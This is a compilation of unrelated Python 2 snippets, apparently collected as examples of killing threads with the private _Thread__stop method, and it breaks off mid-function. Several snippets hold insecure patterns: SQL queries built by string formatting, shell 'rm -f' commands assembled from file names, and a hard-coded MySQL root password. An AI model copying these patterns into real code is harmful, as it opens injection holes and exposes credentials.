def listen(): isListening=1 sendThread = Thread(target=send,args=[]) sendThread.setDaemon(True) sendThread.start() while isListening: try: data=c.recv(inPipe)#receive data from moderator except:continue try:#process received data # here we'd begin a non blocking timer which will send weird messages import threading if "YOU ARE A wolf" in data[2]: timer = threading.Timer(20.0, sayWolf) timer.start() if "YOU ARE A witch" in data[2]: timer = threading.Timer(20.0, sayWitch) timer.start() if "YOU ARE A wolf" in data[2]: timer = threading.Timer(20.0, sayPerson) timer.start() if data[2]=="close": print "Connection closed." isListening=0 sendThread._Thread__stop() exit() else: print data[2] except Exception, p: pass
def main(): setupGPIO() for pin in pinOut: GPIO.setup(pin, GPIO.OUT) GPIO.output(pin, 0) print str(pin) + " Config" delay = input("Delay :") repeat = input("Repeat :") t = Thread(target=timer, args=(pin, delay, repeat)) threadList.append(t) start = raw_input("Press any key to start...") for t in threadList: t.start() while (1): try: x = 0 except (KeyboardInterrupt, SystemExit): print "STOP!" GPIO.cleanup() for t in threadList: if t.isAlive(): print "Stop thread" t._Thread__stop() return
def main(): print "Launched." if not os.path.exists("dataSaved.csv"): try: f = open("dataSaved.csv", "w") except IOError: print "Unable to create CSV file. Exiting." return else: f.close() v = Verarbeitung() v.loadData() v.saveDataCSV() t = Thread(target=application.realmain) t.start() print "Web server launched!" try: print "About to launch local server..." server.main(v) except KeyboardInterrupt: pass finally: print "Exiting. Saving data." v.saveData() t._Thread__stop()
def test_transaction(): # run checker and cspace t1 = Thread(target=start_checker, args=(app_checker,)) t1.start() t2 = Thread(target=start_cspace, args=(app_cspace,)) t2.start() try: # add Alice's message to DB O1 = dumps(Alice_message) r = requests.post(r"http://127.0.0.1:5000/debug_load", data = dumps(O1)) assert loads(r.text)["status"] == "OK" ID1 = loads(r.text)["transactionId"] # define transfer T = { "contractMethod" : checker_url, "inputs" : [ID1], "referenceInputs" : [], "parameters" : {}, "outputs" : [Alice_message_new] } # sumbit the transaction to the ledger r = requests.post(r"http://127.0.0.1:5000/process", data = dumps(T)) print(r.text) assert loads(r.text)["status"] == "OK" finally: t1._Thread__stop() t2._Thread__stop() ##################################################################################
def test_request(): # run the checker t = Thread(target=start_checker, args=(app_checker,)) t.start() try: # test a valid transfer r = requests.post(checker_url, data = dumps(Example_transfer)) print r.text assert loads(r.text)["status"] == "OK" # test invalid transaction r = requests.post(checker_url, data = dumps(Example_invalid_transfer)) assert loads(r.text)["status"] == "Error" # test malformed transaction r = requests.post(checker_url, data = dumps(Example_malformed_transfer)) assert loads(r.text)["status"] == "Error" # try a get request r = requests.get(checker_url) assert loads(r.text)["status"] == "Error" finally: t._Thread__stop()
def test_process(): # run the checker t = Thread(target=start_checker, args=(app_checker,)) t.start() try: # save objects to DB cs = ChainSpace('db_test4.json') ID1 = cs.debug_register_object(dumps(Alice_message)) # define a transaction T = { "contractMethod" : checker_url, "inputs" : [ID1], "referenceInputs" : [], "parameters" : {}, "outputs" : [Alice_message_new] } # apply transaction cs.apply_transaction(T) # Re-execute the same transaction (objects are now not active) with pytest.raises(Exception): cs.apply_transaction(T) finally: t._Thread__stop()
def _send_it(subject, sender, recipients, text, html, tries): import cStringIO, mimetools, MimeWriter out = cStringIO.StringIO() htmlin = cStringIO.StringIO(html) txtin = cStringIO.StringIO(text) writer = MimeWriter.MimeWriter(out) # headers writer.addheader("From", sender) writer.addheader("To", ','.join(recipients)) writer.addheader("Subject", subject) writer.addheader("X-Mailer", "SmailiMail [version 1.0]") writer.addheader("MIME-Version", "1.0") writer.startmultipartbody("alternative") writer.flushheaders() # text subpart = writer.nextpart() subpart.addheader("Content-Transfer-Encoding", "quoted-printable") pout = subpart.startbody("text/plain", [("charset", 'UTF-8')]) mimetools.encode(txtin, pout, 'quoted-printable') txtin.close() # html subpart = writer.nextpart() subpart.addheader("Content-Transfer-Encoding", "quoted-printable") pout = subpart.startbody("text/html", [("charset", 'UTF-8')]) mimetools.encode(htmlin, pout, 'quoted-printable') htmlin.close() # to string writer.lastpart() msg = out.getvalue() out.close() class PostFixThread(Thread): def __init__(self): Thread.__init__(self) self.result = False def run(self): self.result = _call_postfix(sender, recipients, msg) thr = PostFixThread() thr.start() thr.join(MAIL_TIMEOUT) if thr.isAlive(): Thread._Thread__stop(thr) thr.result = False if not thr.result and tries < 5: _send_it(subject, sender, recipients, text, html, tries + 1)
def always(cmd,timeout): startime = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())) jd.add([pid,startime,cmd]) while True: trd = Thread(target=runcmd,args=(cmd,)) trd.start() trd.join(timeout) if trd.is_alive(): trd._Thread__stop()
def execute(self, sql): self.cursor.fetchall() subproc = Thread(target=self.query, args=(sql,)) subproc.start() subproc.join(3) if subproc.isAlive(): subproc._Thread__stop() self.connect() self.query(sql) self.out = self.cursor.fetchall() return self.cursor.rowcount
class Server: def __init__(self, host, port, listener): listenSocket = socket.socket(AF_INET, SOCK_STREAM) listenSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) listenSocket.bind((host, port)) listenSocket.listen(10) #print "SERVER: Listening" self.sockets = {} self.endpoints={} self.socket = listenSocket self.listener = listener self.thread = Thread(target=self.AcceptConnections, args=[listenSocket]) self.thread.start() def AcceptConnections(self, listenSocket): while True: self.AcceptEndpointConnections(listenSocket) def AcceptEndpointConnections(self, listenSocket): clientSocket, clientAddress = listenSocket.accept() #print "SERVER: Accepted connection from", clientAddress #print "SERVER: Client socket", id(clientSocket._sock) EndPoint(self, clientSocket) def send(self, msg): addr = msg[TARGET] data = cPickle.dumps(msg) conn = None if self.endpoints.has_key(addr): end_point = self.endpoints[addr] conn = end_point.socket else: conn = socket.socket(AF_INET, SOCK_STREAM) (ip, port) = addr.split(':') conn.connect((ip, int(port))) self.endpoints[addr] = EndPoint(self, conn) conn.send(struct.pack("!I", len(data))) conn.send(data) def close(self): #print "SERVER: Shutting down the server" try: self.socket.shutdown(1) except: None self.socket.close() for endpoint in self.endpoints.values(): endpoint.Release() self.thread._Thread__stop()
def worker(self): while True: item = self.queue.get() priority, time_sch, function, args, callback, deadline, fail_callback, fail_policy, time_policy = item time_q = time.time() thread = Thread(target=function, args=(time_q, ) + args) thread.start() # res = function(time_q, *args, **kwargs) thread.join(deadline) if thread.isAlive(): # overtime thread._Thread__stop() print("KILLED") if fail_policy == "callback": if fail_callback: fail_callback(None) elif fail_policy == "reschedule": print("rescheduled") self.schedule(*item[1:]) self.dropped_events += 1 self.log.write("{name} {time_s} {time_e} fail\n".format(name=function.func_name, time_s=time_q - self.start, time_e=time.time() - self.start)) self.log5.write("{name} {ctime} 1\n".format(name=function.func_name, ctime=time.time() - self.start)) else: time_end = time.time() - self.start self.log.write("{name} {time_s} {time_e} ok\n".format(name=function.func_name, time_s=time_q - self.start, time_e=time_end)) if time_policy == "constant": sleep_time = max((time_q + deadline) - time.time(), 0) print("sleeping additionally %s for constant interval" % sleep_time) time.sleep(sleep_time) self.log.write("{name} {time_s} {time_e} placeholder\n".format(name=function.func_name, time_s=time_end, time_e=time_end + sleep_time)) if callback: callback(None) self.log3.write("{name} {ctime} {time}\n".format(name=function.func_name, ctime=time.time() - self.start, time=time_end + self.start - time_q)) self.log4.write("{name} {ctime} 1\n".format(name=function.func_name, ctime=time.time() - self.start)) self.log2.write("{name} {ctime} {time}\n".format(name=function.func_name, ctime=time.time() - self.start, time=time_q - time_sch)) self.log.flush() self.log2.flush() self.log3.flush() self.log4.flush() self.log5.flush() self.processed_events += 1 self.queue.task_done() print("processed, dropped: ", self.processed_events, self.dropped_events)
def localStart(): globalInit() from werkzeug.serving import run_simple static_dir = os.path.join(os.path.dirname(__file__), "..", "static") exports = { '/': static_dir, } app_entry = SharedDataMiddleware(application, exports) t = Thread(target=checkNode, args=(raConfDir, tmpConfDir, serNode)) t.deamon = True t.start() run_simple('0.0.0.0', runPort, app_entry, use_debugger=True, use_reloader=True) t._Thread__stop()
def get_comic(self): """Run scrape_xkcd in a separate thread and kill it after a one second timeout if necessary. Returns url, title, alt of the scraped comic """ t = Thread(target=self.scrape_xkcd) t.start() t.join(1) if t.is_alive(): if self._valid: t.join() else: t._Thread__stop() return self._url, self._title, self._alt
class Server: def __init__(self, host, port, listener): listenSocket = socket.socket(AF_INET, SOCK_STREAM) listenSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) listenSocket.bind((host, port)) listenSocket.listen(10) print "SERVER: Listening" self.sockets = {} self.endpoints = {} self.socket = listenSocket self.listener = listener self.thread = Thread(target=self.AcceptConnections, args=[listenSocket]) self.thread.start() def AcceptConnections(self, listenSocket): while True: self.AcceptEndpointConnections(listenSocket) print 'break while' def AcceptEndpointConnections(self, listenSocket): clientSocket, clientAddress = listenSocket.accept() print "SERVER: Accepted connection from", clientAddress print "SERVER: Client socket", id(clientSocket._sock) EndPoint(self, clientSocket) def send(self, msg): addr = msg[TARGET] data = cPickle.dumps(msg) conn = None if self.endpoints.has_key(addr): end_point = self.endpoints[addr] conn = end_point.socket else: conn = socket.socket(AF_INET, SOCK_STREAM) (ip, port) = addr.split(':') conn.connect((ip, int(port))) self.endpoints[addr] = EndPoint(self, conn) conn.send(struct.pack("!I", len(data))) conn.send(data) def close(self): print "SERVER: Shutting down the server" self.socket.close() self.thread._Thread__stop()
def main(argv): (opts, args) = parser.parse_args() if not check_arguments(opts, args): print usage sys.exit(0) thread = Thread(target = start_pathway_tools_api_mode, args = (opts.pathway_tools, )) thread.start() sleep(10) print "going to kill " if thread.isAlive(): try: thread._Thread__stop() except: print(str(thread.getName()) + ' could not be terminated')
class IrisChannel: def __init__(self): self.stop_running = True self.config = config.ConfigList(self.__class__, ()); def get_config_list(self): return self.config def start(self, wait = False): self.thread = Thread(target=self.thread_run) self.thread.start() if wait: self.thread.join() def thread_run(self): self.stop_running = False self.loop_init() while not self.stop_running: self.loop() self.loop_finish() def thread_stop(self, cb = None): if not self.stop_running: self.stop_running = True self.thread.join(5) if self.thread.is_alive(): self.thread._Thread__stop() if cb: cb() def stop(self, cb = None): Thread(target=self.thread_stop, args=(cb,)).start() def loop_init(self): pass def loop(self): pass def loop_finish(self): pass
def handle(self): class __AskThread(Thread): def __init__(self, menu): Thread.__init__(self) self.menu = menu self.daemon = True def run(self): self.menu.answer = raw_input(self.menu.get_prompt()) MenuScreen.clear() item = None while not item: self.show() sys.stdout.write('\r') try: self.answer = '' askThread = __AskThread(self) askThread.start() askThread.join(self.timeout) if self.answer == '': # no answer given or we timed out if askThread.is_alive(): # we timed out, cleanup the thread if we can # an ugly hack, I know Thread._Thread__stop(askThread) # go to the next line print # turn echo'ing characters back on (was set off by readline) subprocess.check_output(['stty', 'echo']) if self.default_tag != None: item = self.find_item_by_tag(self.default_tag) else: item = Menu.CANCELLED else: # an answer was given item = self.find_item_by_label(self.answer) except EOFError: # TODO: find out how to cancel on ESC instead of CTRL-D item = Menu.CANCELLED return item
class DotaLogWatcher(): path = '' _thread = None _dota_log = None _overlayswitcher = None _active = True def __init__(self, path, overlayswitcher): self.path = path self._overlayswitcher = overlayswitcher self._dota_log = open(self.path, 'r+') self._thread = Thread(target=self._spin, name='thread-overlayswitcher.dotalogwatcher._spin') self._thread.start() def stop(self): self._active = False sleep(0.5) if self._thread.is_alive: self._thread._Thread__stop() self._dota_log.close() def _spin(self): while self._active and not sleep(0.016): #frame at 60fps new_content = self._dota_log.read() if new_content: prev_state_ = self._overlayswitcher.base_state self._update_state(new_content) if self._overlayswitcher.base_state != prev_state_: self._overlayswitcher.work() def _update_state(self, new_content): for line in reversed(new_content.split('\n')): if line.startswith('Start of Dota'): self._overlayswitcher.base_state = 'MENU' return pos_rule = line.find('DOTA_GAMERULES_STATE_') if pos_rule >= 0: self._overlayswitcher.base_state = line[pos_rule+21:-1] return
class IrisChannel: def __init__(self): self.stop_running = True self.config = config.ConfigList(self.__class__, ()) def get_config_list(self): return self.config def start(self, wait=False): self.thread = Thread(target=self.thread_run) self.thread.start() if wait: self.thread.join() def thread_run(self): self.stop_running = False self.loop_init() while not self.stop_running: self.loop() self.loop_finish() def thread_stop(self, cb=None): if not self.stop_running: self.stop_running = True self.thread.join(5) if self.thread.is_alive(): self.thread._Thread__stop() if cb: cb() def stop(self, cb=None): Thread(target=self.thread_stop, args=(cb, )).start() def loop_init(self): pass def loop(self): pass def loop_finish(self): pass
class BaseASTestCase(TestCase): def setUp(self): self.port = 8003 self.url = 'http://127.0.0.1:%s' % self.port self.server = None self.thread_httpd = Thread(target=start_server, kwargs={ 'port': self.port, 'testcase': self }) print("Starting server") self.thread_httpd.start() self.user = get_user_model().objects.create(username='******') self.params = (self.url, '', '', 1, self.user) def tearDown(self): print("Ending server") if self.server is not None: self.server.stop() self.server = None self.thread_httpd._Thread__stop()
def listen(): isListening = 1 sendThread = Thread(target=send, args=[]) sendThread.setDaemon(True) sendThread.start() while isListening: try: data = c.recv(inPipe) #receive data from moderator except: continue try: #process received data if data[2] == "close": print "Connection closed." isListening = 0 sendThread._Thread__stop() exit() else: print data[2] except Exception, p: pass
class EndPoint: packetSizeFmt = "!I" packetSizeLength = struct.calcsize(packetSizeFmt) def __init__(self, server, epSocket): self.socket = epSocket self.server = server self.init = False self.thread = Thread(target=self._ManageSocket) self.thread.start() def Release(self): self.socket.close() self.thread._Thread__stop() def _ManageSocket(self): try: self._ReceivePackets() except socket.error, e: self.Release()
def test_transaction(): # run checker and cspace t1 = Thread(target=start_checker, args=(app_checker,)) t1.start() t2 = Thread(target=start_cspace, args=(app_cspace,)) t2.start() try: # add Alice's account to DB O1 = dumps(Sally_account) r = requests.post(r"http://127.0.0.1:5000/debug_load", data = dumps(O1)) assert loads(r.text)["status"] == "OK" ID1 = loads(r.text)["transactionId"] # add Sally's account to DB O2 = dumps(Alice_account) r = requests.post(r"http://127.0.0.1:5000/debug_load", data = dumps(O2)) assert loads(r.text)["status"] == "OK" ID2 = loads(r.text)["transactionId"] # define transfer T = { "contractMethod" : "http://127.0.0.1:5001/bank/transfer", "inputs" : [ID1, ID2], "referenceInputs" : [], "parameters" : {"amount":8}, "outputs" : [Sally_account_new, Alice_account_new] } # sumbit the transaction to the ledger r = requests.post(r"http://127.0.0.1:5000/process", data = dumps(T)) assert loads(r.text)["status"] == "OK" finally: t1._Thread__stop() t2._Thread__stop() ##################################################################################
class Illuminate(object): def setup(self): #~~CONTROL VARS~~# self.fadeAlpha = 4 self.fadeSpeed = 15 self.lightColor = [255,230,182] self.speed = 300 #overall speed of showing each word self.wordMargin = 3 #controls size of the box around the word #instantiate class vars self.makePoems = False self.flipImage = False #self.lightColor = 0xFFEF91 self.calibrate = False self.showImg = 1 self.boxList = [] self.currentBoxNum = [0] self.lastTime = [0] self.mt = [] self.words = [] self.loading = 0 self.thread = None self.generator = None self.lightOn = True self.img = PImage() #self.sensors = ArduinoSerial() #TRAIN THE MARKOV GENERATOR print "reading and getting inspiration..." self.generator = MarkovGenerator(n=3, max=30, min=4) self.showTime = 1000 # calibrate f = open('config.txt') str = f.read() print "str: "+str calib = str.split(',') print calib try: self.imgPos = [int(calib[0]),int(calib[1])] except: #set default calib value calib = [507,324,535,297,0] self.imgPos = [int(calib[0]),int(calib[1])] self.imgSize = [int(calib[2]),int(calib[3])] self.imgRot = int(calib[4]) self.saveCalib(); #set screen size(1680,1050) fill(255, 5000) noStroke() self.adjust = ImageAdjuster(this) self.line = [] self.lines = [] self.lineCnt = 0 self.wordCnt = 0 noCursor() def init(self): print "init called - jack kalish" def clearPhotos(self): #delete all but the latest available file #delete the capture.tif if there is one try: commands.getstatusoutput('rm -f captures/capture.tif') except: print "failed to delete capture.tif" files = glob.glob('captures/*') fileCnt = 0 for file in files: if fileCnt < len(files): #delete the file commands.getstatusoutput('rm -f '+file) fileCnt += 1 def loadNewImage(self): print "loadNewImage" #self.clearPhotos() #self.tryLoadImage(imgPath) self.img = None print "BEFORE LOAD ATTEMPT self.img: ", print self.img #if you fail, try again lastPixelColor = -8355712 files = glob.glob('captures/*') loadSuccess = False imageIndex = 0 while loadSuccess == False: print "Try to load image" files = glob.glob('captures/*') print "len(files): ", print len(files) if len(files) > imageIndex: imgPath = files[imageIndex] firstLetter = imgPath.split('/')[1][0] print "imgPath: ", print imgPath print "firstLetter: ", print firstLetter if firstLetter == "C": #load image try: self.img = loadImage(imgPath) except: loadSuccess = False try: lastPixelColor = self.img.pixels[len(self.img.pixels)-1] print "color of last pixel: ", print lastPixelColor except: loadSuccess = False if lastPixelColor != 0: if lastPixelColor != -8355712: #full image has loaded loadSuccess = True else: imageIndex = imageIndex+1 self.capture() #convert to tiff def draw(self): #check the sensors #self.checkSensors() if self.lightOn: self.light() if self.loading == 1: if self.thread and self.thread.isAlive(): self.showLoader() else: self.loading = 0 if self.onThreadComplete != None: self.onThreadComplete() #print "self.lines: ", #print self.lines #set the rotation of the stage pushMatrix(); rotate(float(radians(self.imgRot))) if self.calibrate: image(self.img, self.imgPos[0], self.imgPos[1], self.imgSize[0], self.imgSize[1]) popMatrix(); if self.makePoems: if len(self.lines)>0: #background(0) if self.lineCnt < len(self.lines)-1: '''print "len(self.line): ", print len(self.line) print "len(self.words): ", print len(self.words) print "self.wordCnt: ", print self.wordCnt''' if millis() - self.lastTime[0] > self.showTime: if self.wordCnt >= len(self.line): #background(0) #go to next line self.wordCnt = 0 self.lineCnt += 1 self.line = self.lines[self.lineCnt] self.showTime = 1500 self.fadeAlpha = self.fadeSpeed print "" #print "new line length:" #print len(self.line) #print " ".join(self.line) #print len(self.mt[self.currentBoxNum[0]])*100 else: #background(0,10) #lightRandomWord() #print "self.wordCnt: ", #print self.wordCnt #print "line[self.wordCnt] ", #print self.line[self.wordCnt] #draw boxes for words try: pushMatrix(); rotate(float(radians(self.imgRot))) self.lightWord(self.line[self.wordCnt]) popMatrix(); self.showTime = math.sqrt(self.getCurrentWordLength())*self.speed except: print "word out of range!" self.wordCnt += 1 self.fadeAlpha = 2 self.lastTime[0] = millis() fill(0,0,0,self.fadeAlpha) #fade out rect(0,0,width,height) else: #we gotta end it here, no more lines! self.end() def light(self): background(self.lightColor[0],self.lightColor[1],self.lightColor[2]) def end(self): print "***THE END***" self.runThreadOn(self.makeNewPoem) #now delete all but the most recent photo #self.clearPhotos() def makeNewPoem(self): print "thinking of a new poem...", #make a new poem between 3 and 14 lines long self.lineCnt = 0 self.wordCnt = 0 numLines = round(random.random()*11)+3 print "it will be ", print numLines, print "lines long" print "***THE START***" lines = self.generator.generateFromText(numLines) self.lines = lines self.line = lines[0] self.showTime = 5000 def getCurrentWordLength(self): return len(self.words[self.line[self.wordCnt]]) def runThreadOn(self, method, callback=None): if self.thread and self.thread.isAlive(): print "thread already running" return self.onThreadComplete = callback self.thread = Thread(target=method) self.thread.start() self.loading = 1 self.calibrate = False def runThread(self): if self.thread and self.thread.isAlive(): print "thread already running" return self.thread = Thread(target=self.run) self.thread.start() self.loading = 1 self.calibrate = False def showLoader(self): randomness = 3.0 background(self.lightColor[0], self.lightColor[1], self.lightColor[2]) '''if self.img: tint(self.lightColor[0],self.lightColor[1],self.lightColor[2],150) image(self.img, self.getWiggle(self.imgPos[0], randomness), self.getWiggle(self.imgPos[1], randomness), self.getWiggle(self.imgSize[0], randomness), self.getWiggle(self.imgSize[1], randomness)) ''' #background(self.lightColor,random.random()*255) fill(0, random.random()*25) rect(0,0,width,height) #image(self.img, self.imgPos[0], self.imgPos[1], self.imgSize[0], self.imgSize[1]) #image(self.img, self.imgPos[0]*random(randomness*-1, randomness), self.imgPos[1]*random(randomness*-1, randomness), self.imgSize[0]*random(randomness*-1, randomness), self.imgSize[1]*random(randomness*-1, randomness)) def getWiggle(self, val, r): #print 'input val:', #print val val += (random.random()*r*2) - r #print 'output val', #print val return val def run(self): #stop current poem self.makePoems = False #clear screen background(0) self.img = None self.loadNewImage() self.showImg = 0 #colorMode(HSB, 100); #tint(0,0) #adjust contrast #img.adjust.contrast(g, 2) #flip the image? if self.flipImage: rotate(180) #self.clearPhotos() self.performOCR() self.words = self.parseWords() self.generator.setWords(words=self.words) def onOCRComplete(self): print "finished reading!" self.makePoems = True self.lightOn = False self.runThreadOn(self.makeNewPoem) #now get generate the poetry from the text... #doMarkov() def performOCR(self): print "reading text..." subprocess.call(['tesseract',r'captures/capture.tif', 'output', '-l', 'eng' ,'+hocr.txt']) #commands.getstatusoutput('tesseract capture.tif output -l eng +ocr/hocr.txt') #commands.getstatusoutput('tesseract captures/capture.tif output -l eng +hocr.txt') #commands.getstatusoutput('tesseract ocr/article.tif output -l eng +ocr/hocr.txt') def lightRandomWord(self): self.lightWord(random.randint(0,len(boxList))) def lightWord(self,id): #print "light word: ", print self.words[id], self.lightBox(self.boxList[id]) def lightNextBox(self): #background(0) #print 'light next word:' #print boxList[currentBoxNum[0]] self.lightBox(self.boxList[self.currentBoxNum[0]]) self.currentBoxNum[0] += 1 def lightBox(self,r): xScale = self.imgSize[0]/float(self.img.width) yScale = self.imgSize[1]/float(self.img.height) #print r #fill(255,10) fill(self.lightColor[0],self.lightColor[1],self.lightColor[2]) rect((float(r[0]))*xScale+self.imgPos[0]-(self.wordMargin), (float(r[1]))*yScale+self.imgPos[1]-(self.wordMargin), float(r[2])*xScale+(self.wordMargin*2), float(r[3])*yScale+(self.wordMargin*2)) def moveImage(self,x,y): self.imgPos[0] += x self.imgPos[1] += y self.saveCalib() def scale(self,x,y): self.imgSize[0] += x self.imgSize[1] += y self.saveCalib() def rotateStage(self,r): self.imgRot += r self.saveCalib() def saveCalib(self): print "save calib" f = open('config.txt', 'r+') f.truncate() calib = str(self.imgPos[0])+","+str(self.imgPos[1])+","+str(self.imgSize[0])+","+str(self.imgSize[1])+","+str(self.imgRot) print "calib: "+calib f.write(calib) f.close() def clearCaptures(self): print "clear captures dir" files = glob.glob('captures/*') print "files:" print files for f in files: print f os.remove(f) def capture(self): print "save tif" self.img.save("captures/capture.tif"); def parseWords(self): soup = BeautifulSoup(open('output.html')) print "parsing words..." boxes = soup.findAll('span', { "class" : "ocr_word" }) cnt = 0 words = [] self.boxList = [] print boxes for word in boxes: #generate arrary of only words print word w = "" if len(word.contents) > 0 and len(word.contents[0].contents) > 0: w = word.contents[0].contents[0] words.append(w) title = word['title'] #print "title: " + title r = title.split(' ') r.pop(0) #generate another array of box data #convert array to processing rect object coords (x,y,W,H) r[2] = float(r[2]) - float(r[0]) r[3] = float(r[3]) - float(r[1]) self.boxList.append([r[0], r[1], r[2], r[3]]) cnt += 1 print "words:", print words return words #print "words array: " #print words def keyPressed(self): print "keypressed: " print key if key == CODED: if keyCode == UP: self.moveImage(0,-1) elif keyCode == DOWN: self.moveImage(0,1) elif keyCode == LEFT: self.moveImage(-1,0) elif keyCode == RIGHT: self.moveImage(1,0) elif key==61: self.scale(1,0); elif key==45: self.scale(-1,0); elif key==93: self.scale(0,1); elif key==91: self.scale(0,-1); elif key==44: #scale x and y together (maintain ratio) self.scale(-1,-1); elif key==46: self.scale(1,1); elif key==99: #c - switch calibration mode if not self.calibrate: tint(255) self.loadNewImage() self.calibrate = not self.calibrate elif key==32: #spacebar - run self.onClick() elif key==48: #rotate right self.rotateStage(-1); elif key==57: #rotate right self.rotateStage(+1); elif key=="i": #display image toggle self.calibrate = not self.calibrate def mousePressed(self): print "mouse pressed" #self.onClick() def processNewText(self): #time.sleep(3) self.runThreadOn(self.run, self.onOCRComplete) def onClick(self): #switch between "light" and poetry if self.makePoems: self.lightOn = True self.makePoems = False else: self.processNewText() def stop(self): self.loading=0 if self.makePoems: self.lightOn = True self.makePoems = False #kill any running threads if self.thread: self.thread._Thread__stop()
logger.info("get an apple") def eat_apple(q, name): logger.info("thread-%s is finding fruit..." % name) time.sleep(randint(2, 10) * 0.1) logger.info("thread-%s ready to eat apple..." % name) #q.join() res = q.get() # if name == 4: # raise Exception("some wrong") logger.info("I eat a/an %s" % res) q.task_done() # to release q.join() logger.info("thread-%s end" % name) recv_thread = Thread(target=recv, args=(q, )) recv_thread.start() s_thread = None for i in range(20): name = i + 1 thread = Thread(target=eat_apple, args=(q, name), name="thread-%s" % name) if name == 4: s_thread = thread thread.start() time.sleep(0.4) Thread._Thread__stop(s_thread) q.join()
key_for_alice = generate_random_key() key_for_bob = generate_random_key() trusted_server = TrustedServer(keys={id_for_alice: key_for_alice, id_for_bob: key_for_bob},max_connections=10) trusted_server.start() server = Server(server_id=id_for_bob, server_key=key_for_bob, max_connections=10, trusted_server=trusted_server) server.start() client = Client(client_id=id_for_alice, client_key=key_for_alice, server=server, server_id=id_for_bob) client.start() def clean(): client.join(120) server.finish() trusted_server.finish() server.join(120) trusted_server.join(120) t = Thread(target=clean) t.start() t.join(360) if active_count() > 1: for t in enumerate(): print t if t != current_thread(): t._Thread__stop() print 'Koniec' sys.exit(1)
def get_mysql_data(): connect = MySQLdb.connect('localhost', 'root', 'vnistadmin', 'webix') cur = connect.cursor() threadMySQL = Thread(target=thread_insert_data_MySQL, args=()) threadMySQL.start() threadMongoDb = Thread(target=thread_insert_data_MongoDb, args=()) threadMongoDb.start() threadElasticSearch = Thread(target=thread_insert_data_ElasticSearch, args=()) threadElasticSearch.start() threadRestart = Thread(target=force_to_restart, args=()) threadRestart.start() print threading.enumerate() cur.execute("SELECT object, struct, webId FROM webStruct") res_obj = cur.fetchall() for each in res_obj: setting.listObject[each[2]] = each while 1: setting.date = datetime.now() setting.exitFlag = 0 try: threadworker = [] with connect: try: cur.execute( "SELECT limitTime, isStructed, webId FROM webStruct") res_web = cur.fetchall() for each in res_web: setting.listWebData[each[2]] = each cur.execute("SELECT learningTime, id FROM trackWebsite") res_id = cur.fetchall() for each in res_id: setting.listLearnTime[each[1]] = each[0] cur.execute( "SELECT DISTINCT name,url,status, ip FROM trackWebsite" ) result_Host = cur.fetchall() print "Processing " + str(len(result_Host)) + " website" index = 1 for each in result_Host: #print "Index: %d - Domain: %s" %( index, each[1]) index += 1 hostName = each[1] temp = {} temp['status'] = each[2] temp['ip'] = each[3] temp['url'] = hostName res = urlparse(hostName) # if "http://" in hostName: # hostName = hostName.replace("http://","") # if "https://" in hostName: # hostName = hostName.replace("https://","") temp['name'] = each[0] temp['hostName'] = res.netloc sql = "SELECT userId from trackWebsite WHERE url = '%s'" % ( each[1]) cur.execute(sql) res = cur.fetchall() temp['userId'] = res sql = "SELECT id from trackWebsite WHERE url = '%s'" % ( each[1]) cur.execute(sql) res = cur.fetchall() temp['id'] = res setting.queue.put(temp) #print temp connect.commit() except: error.catchError(traceback.format_exc()) print "QUERYING DATABASE ERROR" sys.exit() startTime = time.time() qsize = setting.queue.qsize() print "Creating 100 Thread" for i in range(0, 100): threadworker.append(worker.worker(i)) threadworker[i].start() while not setting.queue.empty(): time.sleep(3) print "%f s -------- %d s ------ queue size: %d -------- active thread: %d" % ( time.time() - startTime, 20 * qsize, setting.queue.qsize(), threading.active_count()) if time.time() - startTime > 20 * qsize: while not setting.queue.empty(): setting.queue.get() break pass setting.exitFlag = 1 time.sleep(30) print "Killing alll" setting.startTime = time.time() while threading.active_count() > 7: for x in threadworker: x.join(0.5) Thread._Thread__stop(x) setting.startTime = 0 print "All thread are closed!" print "active thread: %d" % (threading.active_count()) print threading.enumerate() time.sleep(150) except KeyboardInterrupt: print "\nYou press Ctrl + C\nProgram terminated" setting.exitFlag = 1 connect.close() for t in threadworker: t.join(10) Thread._Thread__stop(threadMySQL) Thread._Thread__stop(threadMongoDb) Thread._Thread__stop(threadElasticSearch) Thread._Thread__stop(threadRestart) sys.exit() except Exception: error.catchError(traceback.format_exc()) connect.close() sys.exit()
class SocketServer(Multiplexer, Process): "получает/отправляет данные через сокеты" def __init__(self, hostname, listen_num=100): Process.__init__(self) Multiplexer.__init__(self) self.listen_num = listen_num self.hostname = hostname self.insock, self.in_fileno = self._create_socket(IN) self.outsock, self.out_fileno = self._create_socket(OUT) self.infilenos = {} self.insocks = {} self.outfilenos = {} self._address_buf = {} self._accepted = Queue() self._closed = Queue() self._requestes = Queue() self._responses = Queue() self.excp = Queue() self._sender_thread = Thread(target=self._sender) self.clients = {} self.client_counter = 0 self._stop_event = Event() self.r_times = [] self.running = False #публичные методы def run(self): "запуск сервера" try: if SOCKET_SERVER_PROFILE: cProfile.runctx('self._run()', globals(), locals(), SOCKET_SERVER_PROFILE_FILE) else: self._run() finally: self.stop() def get_accepted(self): "генератор подключившихся клентов" while not self._accepted.empty(): yield self._accepted.get_nowait() raise StopIteration def get_closed(self): "генератор отклювшихся клиентов" while not self._closed.empty(): yield self._closed.get_nowait() raise StopIteration def get_requestes(self): "генератор запросов" while not self._requestes.empty(): client, request = self._requestes.get_nowait() yield client, request raise StopIteration def put_response(self, client_name, response): "кладет ответ в очередь" self._responses.put_nowait((client_name, response)) #приватные def _handle_exception(self, except_type, except_class, tb): "отсылает данные об исключении" try: self.excp.put_nowait( (except_type, except_class, traceback.extract_tb(tb))) finally: self.stop() def _create_socket(self, stream): "создает неблокирубщий сокет на заданном порте" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((self.hostname, PORTS[stream])) sock.setblocking(0) fileno = sock.fileno() return sock, fileno def _sender(self): "поток отправляющий ответы из очереди" try: while not self._stop_event.is_set(): client_name, response = self._responses.get() if client_name in self.clients: sock = self.clients[client_name].outsock try: send(sock, response) except socket_error as error: print_log('sender error', str(error)) print_log('sender stop') except Exception as error: print_log('snder', error) self._handle_exception(*exc_info()) def _handle_read(self, client_name): "читает один пакет данных из сокета, если это возможно" try: request = self.clients[client_name].generator.next() except socket.error as Error: #если возникла ошабка на сокете - закрываем" errno = Error[0] self._handle_close(client_name, 'Socket Error %s' % errno) return False except PackageError: #если возникла ошабка в пакете - закрываем" self._handle_close(client_name, 'PackageError') return False except StopIteration: #если 